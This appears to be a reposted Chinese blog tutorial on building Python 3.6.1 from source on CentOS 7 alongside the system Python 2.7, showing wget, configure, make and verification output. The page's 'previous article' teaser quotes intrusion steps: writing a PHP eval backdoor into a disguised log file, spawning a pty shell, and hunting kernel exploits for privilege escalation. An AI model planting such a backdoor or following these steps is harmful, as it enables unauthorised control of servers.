Centos7下实现python2.x 和python3.x共存
摘要
目前centos7系统自带的Python版本是2.7.5,这个版本呗系统中的很多程序锁依赖,所有我们不可能去删除它。如果这个时候我们还想用python3.x 版本,其实这里有两个方式,一个是利用pyenv 创建一个纯净的python3.x 环境,可以参考Centos 下 python 纯净虚拟环境;另外一个就是这里介绍的。
下载
root@pts/0 $ wget https://www.python.org/ftp/python/3.6.1/Python-3.6.1.tgz --2018-01-11 17:13:58-- https://www.python.org/ftp/python/3.6.1/Python-3.6.1.tgz 正在解析主机 www.python.org (www.python.org)... 151.101.228.223, 2a04:4e42:36::223 正在连接 www.python.org (www.python.org)|151.101.228.223|:443... 已连接。 已发出 HTTP 请求,正在等待回应... 200 OK 长度:22540566 (21M) [application/octet-stream] 正在保存至: “Python-3.6.1.tgz” 100%[=========================================================================================>] 22,540,566 3.34MB/s 用时 7.8s 2018-01-11 17:14:06 (2.74 MB/s) - 已保存 “Python-3.6.1.tgz” [22540566/22540566])
依赖
正式安装之前,需要先安装一些依赖保证后续的安装正常进行
yum install -y gcc gcc-c++ autoconf automake zlib-devel
安装
# 解压 root@pts/0 $ tar -zxf Python-3.6.1.tgz root@pts/0 $ ll 总用量 26112 drwxr-xr-x 17 501 501 4096 3月 21 2017 Python-3.6.1 -rw-r--r-- 1 root root 22540566 3月 21 2017 Python-3.6.1.tgz # 编译 默认会被安装到 /usr/local下面。这里我们通过configure 的--prefix参数自定义安装路径,方便以后的卸载 root@pts/0 $ cd Python-3.6.1 root@pts/0 $ ./configure --prefix=/usr/local/python3 checking build system type... x86_64-unknown-linux-gnu checking host system type... x86_64-unknown-linux-gnu checking for python3.6... no checking for python3... no checking for python... python checking for --enable-universalsdk... no checking for --with-universal-archs... no checking MACHDEP... linux checking for --without-gcc... no checking for --with-icc... no checking for gcc... gcc checking whether the C compiler works... yes checking for C compiler default output file name... a.out checking for suffix of executables... checking whether we are cross compiling... no # 安装 root@pts/1 $ make && make install
验证
root@pts/1 $ ls -l /usr/local/python3/ 总用量 16 drwxr-xr-x 2 root root 4096 1月 11 17:09 bin drwxr-xr-x 3 root root 4096 1月 11 17:09 include drwxr-xr-x 4 root root 4096 1月 11 17:09 lib drwxr-xr-x 3 root root 4096 1月 11 17:09 share root@pts/1 $ /usr/local/python3/bin/python3 -V Python 3.6.1 root@pts/1 $ /usr/local/python3/bin/python3 Python 3.6.1 (default, Jan 11 2018, 17:08:20) [GCC 4.8.5 20150623 (Red Hat 4.8.5-16)] on linux Type "help", "copyright", "credits" or "license" for more information. >>>

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
Linux入侵常用命令防黑客
写个php一句话后门上去: [jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog_time.php [jobcruit@wa64-054 rankup_log]$ cat rankuplog_time.php 1、linux的想着先跨站 shell浏览目标站不行,命令行下输入: ls -la /www.users/ 2、溢出提权 # python –c ‘impotr pty;pty.spawn(“/bin/sh”); 来得到交互的Shell,一般的系统都默认安装python 输入id bash-3.2$ id uid=529(zeicom) gid=525(zeicom) groups=525(zeicom) bash-3.2$ 这里uid=529(zeicom)还不是root权限, 输入uname –r 返回:2.6.18-164.11.1.el5PAE Linux提权大致可分为,第三方软件漏洞、本地信任特性、内核溢出 找对应的exp, 这...
- 下一篇
解决Centos下“ssh免密码登录不生效”问题
摘要 一般为了方便运维管理都会配置ssh免密登录,ssh免密登录实现也很方便。今天遇到一个完成了配置了却不能生效的问题。 思考 遇到这个问题一般有以下几点: authorized_keys文件是否启用 .ssh 和 authorized_keys 文件权限问题 排查 检查AuthorizedKeysFile配置是否启用authorized_keys root@pts/1 $ cat /etc/ssh/sshd_config |egrep AuthorizedKeysFile AuthorizedKeysFile .ssh/authorized_keys 没有问题,继续检查.ssh (700) 和 authorized_keys(644) 权限 root@pts/1 $ getfacl /root/.ssh/ getfacl: Removing leading '/' from absolute path names # file: root/.ssh/ # owner: root # group: root user::rwx group::--- other:...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- SpringBoot2更换Tomcat为Jetty,小型站点的福音
- SpringBoot2编写第一个Controller,响应你的http请求并返回结果
- SpringBoot2初体验,简单认识spring boot2并且搭建基础工程
- CentOS7,8上快速安装Gitea,搭建Git服务器
- SpringBoot2配置默认Tomcat设置,开启更多高级功能
- Docker快速安装Oracle11G,搭建oracle11g学习环境
- SpringBoot2整合Redis,开启缓存,提高访问速度
- CentOS8安装MyCat,轻松搞定数据库的读写分离、垂直分库、水平分库
- Windows10,CentOS7,CentOS8安装Nodejs环境
- CentOS7设置SWAP分区,小内存服务器的救世主